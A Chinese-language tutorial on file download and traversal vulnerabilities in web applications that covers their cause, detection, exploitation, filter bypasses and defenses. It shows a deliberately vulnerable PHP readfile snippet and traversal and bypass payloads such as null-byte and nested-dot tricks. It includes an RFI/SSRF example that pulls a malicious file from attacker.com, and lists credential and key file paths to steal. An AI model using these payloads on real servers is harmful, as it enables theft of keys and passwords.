文件下载漏洞原理、探测、利用、绕过、防御

个人感觉这位师傅的文章内容很全面,链接在此:

任意文件读取/下载漏洞总结_任意文件下载漏洞-CSDN博客

一、原理

服务端在处理文件下载请求时,直接使用了用户提供的参数作为文件路径,而没有进行有效的安全验证。一个典型的危险代码示例如下:

复制代码
<?php
$filename = $_GET['filename']; // 直接从用户输入获取文件名
readfile($filename);          // 未经验证,直接读取文件
?>

这样的代码,使得攻击者可以通过修改filename​参数来访问任何有权限读取的文件

二、探测

1. 特征识别

在URL中寻找与文件操作相关的参数名。

文件名:download,down,readfile,read,del,dir,path,src,Lang等

参数名:file、path、data、filename、filepath、readfile、data、url、realpath等

URL特征: download.php?file=...​ 或 read.php?filename=...​。

2. 手工验证

通过修改URL中的文件路径参数,观察服务器的响应来判断是否存在漏洞,如果服务器返回了文件内容,则说明漏洞存在。

  • 尝试读取敏感文件来验证漏洞。

    ​?file=../../../../etc/passwd​ (Linux)

    ​?file=..\..\..\windows\win.ini​ (Windows)

  • 读取当前文件: 尝试下载当前页面自身源码,如 ?filename=index.php​,如果显示源码而不是解析后的页面,证明存在文件下载漏洞。

3.工具验证

  • AWVS、Xray、Nessus:扫描任意文件下载 / 目录遍历漏洞
  • Burp Suite 主动扫描 + 字典 Payload 批量遍历
  • 御剑后台扫描:爬取下载类接口

三、利用

1.利用条件

1、存在读文件的函数:

复制代码
fopen() 函数:
fread() 函数:
include() 函数:
readfile() 函数:
file_get_contents() 函数:
file() 函数:一键获取完整项目代码

2、读取文件的路径用户可控且未校验或校验不严

3、输出了文件内容

2.本地文件包含(LFI)

攻击者利用服务器端脚本中的漏洞,在脚本中包含和执行任意文件。例如:

复制代码
http://example.com/index.php?page=../../etc/passwd

这将导致服务器加载并显示 /etc/passwd 文件的内容。

3.远程文件包含(RFI)

攻击者利用服务器端脚本中的漏洞,在脚本中包含和执行远程服务器上的任意文件。例如:

复制代码
http://example.com/index.php?page\=http://attacker.com/恶意文件.php

这将导致服务器加载并执行远程服务器上的恶意文件。

4.目录遍历

攻击者利用服务器端脚本中的漏洞,访问位于目标服务器上任意目录中的文件。例如:

复制代码
http://example.com/index.php?page\=../../../../../../etc/passwd

这将导致服务器加载并显示 /etc/passwd 文件的内容。

5.服务器端请求伪造(SSRF)

攻击者利用服务器端脚本中的漏洞,伪造HTTP请求并将其发送到目标服务器。例如:

复制代码
http://example.com/index.php?url\=http://attacker.com/恶意脚本.php

这将导致服务器向恶意服务器发送HTTP请求。

6.常用核心路径

windows

复制代码
C:\boot.ini                               //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml   //IIS配置文件
C:\Windows\repair\sam                      //存储系统初次安装的密码
C:\Program Files\mysql\my.ini              //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root用户信息
C:\Windows\php.ini                         //php配置信息
C:\Windows\my.ini                          //Mysql配置信息
C:\Windows\win.ini                         //Windows系统基本信息
C:\Windows\System32\drivers\etc\hosts      //域名解析记录
C:\Users\Administrator\Desktop\*.desktop   //桌面文件
%USERPROFILE%\Desktop\*.desktop            //当前用户桌面文件
C:\inetpub\logs\LogFiles\W3SVC1\           //IIS访问日志
C:\Windows\System32\config\SAM             //SAM哈希值
C:\Windows\System32\config\SYSTEM          //系统注册表SYSTEM项

linux

复制代码
/root/.ssh/authorized_keys    //SSH授权登录公钥列表
/root/.ssh/id_rsa             //SSH私钥
/root/.ssh/id_rsa.pub         //SSH公钥
/etc/passwd                   //用户账户信息
/etc/shadow                   //用户密码哈希值
/etc/hosts                    //域名解析记录
/etc/fstab                    //文件系统挂载信息
/etc/sudoers                  //sudo权限配置
/root/.bash_history           //root用户命令历史
/home/*/.bash_history         //普通用户命令历史
/proc/self/environ            //当前进程环境变量(含路径/密钥)
/proc/self/cmdline            //当前进程启动命令
/proc/sched_debug             //进程调度信息(可定位进程PID)
/var/log/secure               //安全认证日志
/var/log/messages             //系统通用日志
/var/log/nginx/access.log     //Nginx访问日志
/var/log/apache2/access.log   //Apache访问日志

四、绕过

1. 过滤 ../​ 字符绕过

重复嵌套绕过(正则只匹配一次../​)

复制代码
....//....//etc/passwd
..\/..\/etc/passwd

原理:....//​ 会被解析为 ../​

编码绕过/:

URL 编码、双重 URL 编码、Unicode 编码、UTF-8 全角字符

2. 后缀名白名单绕过

(限制只能下载 jpg/png)

路径截断(%00 空字节截断,PHP<5.3.4 适用)

复制代码
/download?file=../../config.php%00.jpg

问号绕过(Nginx/Apache 解析特性)

复制代码
/download?file=../../config.php?.jpg

路径拼接后缀,用#​锚点截断(浏览器不会发送 #后内容)

复制代码
/download?file=../../config.php#.jpg

3. 前缀固定目录绕过

后端限制:文件必须在upload/​目录下

复制代码
?file=../etc/passwd
拼接后 upload/../etc/passwd → 实际/etc/passwd

4. 系统分隔符混用绕过

过滤/​就用\​,Windows 下两种分隔符通用;Linux 部分环境兼容\​。

5. 特殊符号绕过

​~​、.​ 隐藏路径、软链接文件绕过过滤。

五、防御

设置文件白名单:将允许用户下载的文件名或ID与服务器上的真实文件名、路径建立一一对应的映射关系(间接引用),而不是直接传递路径参数。

路径规范化与限制:对用户输入进行严格过滤,拒绝包含..​、./​、\​等危险字符的请求。使用realpath()​等函数将路径转换为绝对路径,并检查该路径是否位于允许访问的基础目录内。

使用open_basedir​限制访问范围:在PHP中,配置open_basedir​可以限制PHP脚本只能访问指定目录及其子目录。

最小权限原则:Web服务器进程应使用权限较低的用户运行,防止其读取系统级敏感文件。同时,对下载目录设置合理权限,禁止脚本执行。

​日志与监控​:记录所有文件下载请求,并对异常行为(如大量请求/etc/passwd​)进行监控和告警